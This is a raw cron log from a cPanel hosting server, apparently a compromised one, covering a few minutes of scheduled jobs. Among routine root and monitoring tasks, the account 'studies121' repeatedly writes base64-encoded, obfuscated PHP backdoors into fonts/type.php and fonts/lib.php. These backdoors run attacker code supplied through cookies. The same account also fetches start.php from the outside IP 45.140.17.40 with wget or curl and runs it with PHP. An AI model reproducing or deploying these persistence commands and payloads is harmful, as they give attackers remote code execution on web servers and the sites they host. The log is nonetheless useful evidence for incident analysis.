Aug 30 22:46:01 ip-184-168-122-23 CROND[20250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:46:01 ip-184-168-122-23 CROND[20247]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:46:01 ip-184-168-122-23 CROND[20246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:46:01 ip-184-168-122-23 CROND[20249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:46:01 ip-184-168-122-23 CROND[20252]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 22:47:01 ip-184-168-122-23 CROND[20451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:47:01 ip-184-168-122-23 CROND[20452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:47:01 ip-184-168-122-23 CROND[20453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:47:01 ip-184-168-122-23 CROND[20454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:48:01 ip-184-168-122-23 CROND[20534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:48:01 ip-184-168-122-23 CROND[20537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:48:01 ip-184-168-122-23 CROND[20536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:48:01 ip-184-168-122-23 CROND[20538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:48:01 ip-184-168-122-23 CROND[20539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:49:01 ip-184-168-122-23 CROND[20629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:49:01 ip-184-168-122-23 CROND[20632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:49:01 ip-184-168-122-23 CROND[20630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:49:01 ip-184-168-122-23 CROND[20634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:49:01 ip-184-168-122-23 CROND[20631]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:50:01 ip-184-168-122-23 CROND[20743]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20745]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20748]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:50:01 ip-184-168-122-23 CROND[20749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:51:01 ip-184-168-122-23 CROND[20858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:51:01 ip-184-168-122-23 CROND[20862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:51:01 ip-184-168-122-23 CROND[20860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:51:01 ip-184-168-122-23 CROND[20861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:52:01 ip-184-168-122-23 CROND[21033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:52:01 ip-184-168-122-23 CROND[21034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:52:01 ip-184-168-122-23 CROND[21038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:52:01 ip-184-168-122-23 CROND[21035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:52:01 ip-184-168-122-23 CROND[21036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:53:01 ip-184-168-122-23 CROND[21125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:53:01 ip-184-168-122-23 CROND[21127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:53:01 ip-184-168-122-23 CROND[21129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:53:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:53:01 ip-184-168-122-23 CROND[21129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:53:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:54:01 ip-184-168-122-23 CROND[21221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:54:01 ip-184-168-122-23 CROND[21222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:54:01 ip-184-168-122-23 CROND[21220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:54:01 ip-184-168-122-23 CROND[21224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:54:01 ip-184-168-122-23 CROND[21223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:55:01 ip-184-168-122-23 CROND[21316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:55:01 ip-184-168-122-23 CROND[21317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:55:01 ip-184-168-122-23 CROND[21320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:55:01 ip-184-168-122-23 CROND[21318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:55:01 ip-184-168-122-23 CROND[21321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:55:01 ip-184-168-122-23 CROND[21322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:56:01 ip-184-168-122-23 CROND[21411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:56:01 ip-184-168-122-23 CROND[21413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:56:01 ip-184-168-122-23 CROND[21415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:56:01 ip-184-168-122-23 CROND[21416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:56:01 ip-184-168-122-23 CROND[21414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:57:01 ip-184-168-122-23 CROND[21512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:57:01 ip-184-168-122-23 CROND[21513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:57:01 ip-184-168-122-23 CROND[21514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:57:01 ip-184-168-122-23 CROND[21515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
